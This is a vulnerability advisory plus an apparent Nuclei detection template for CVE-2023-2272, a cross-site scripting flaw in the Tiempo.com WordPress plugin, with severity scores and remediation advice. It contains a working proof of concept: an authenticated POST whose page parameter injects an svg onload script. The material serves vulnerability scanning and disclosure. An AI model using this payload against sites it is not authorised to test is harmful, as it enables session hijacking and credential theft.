Tiempo.com before 0.1.2 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2023-2272
info:
name: Tiempo.com <= 0.1.2 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Tiempo.com before 0.1.2 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to a patched version of Tiempo.com (version 0.1.3 or above) that addresses the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/dba60216-2753-40b7-8f2b-6caeba684b2e
- https://wordpress.org/plugins/tiempocom/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2272
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2272
cwe-id: CWE-79
epss-score: 0.09005
epss-percentile: 0.92307
cpe: cpe:2.3:a:tiempo:tiempo:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: tiempo
product: tiempo
framework: wordpress
tags: cve,cve2023,wpscan,wp,wp-plugin,wordpress,authenticated,xss,tiempocom,tiempo
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
POST /wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
- 'contains(body_2, "Tiempo")'
condition: and
# digest: 490a0046304402200d62b83ddcfef1513a466c4ab8ae6c8d6b54204653ad3798145123463f6c73ca02207b62c6298c84c4cfec1765978e37c55b704ca58e56842a630a026289e4f5e38a:922c64590222798bb761d5b6d8e72950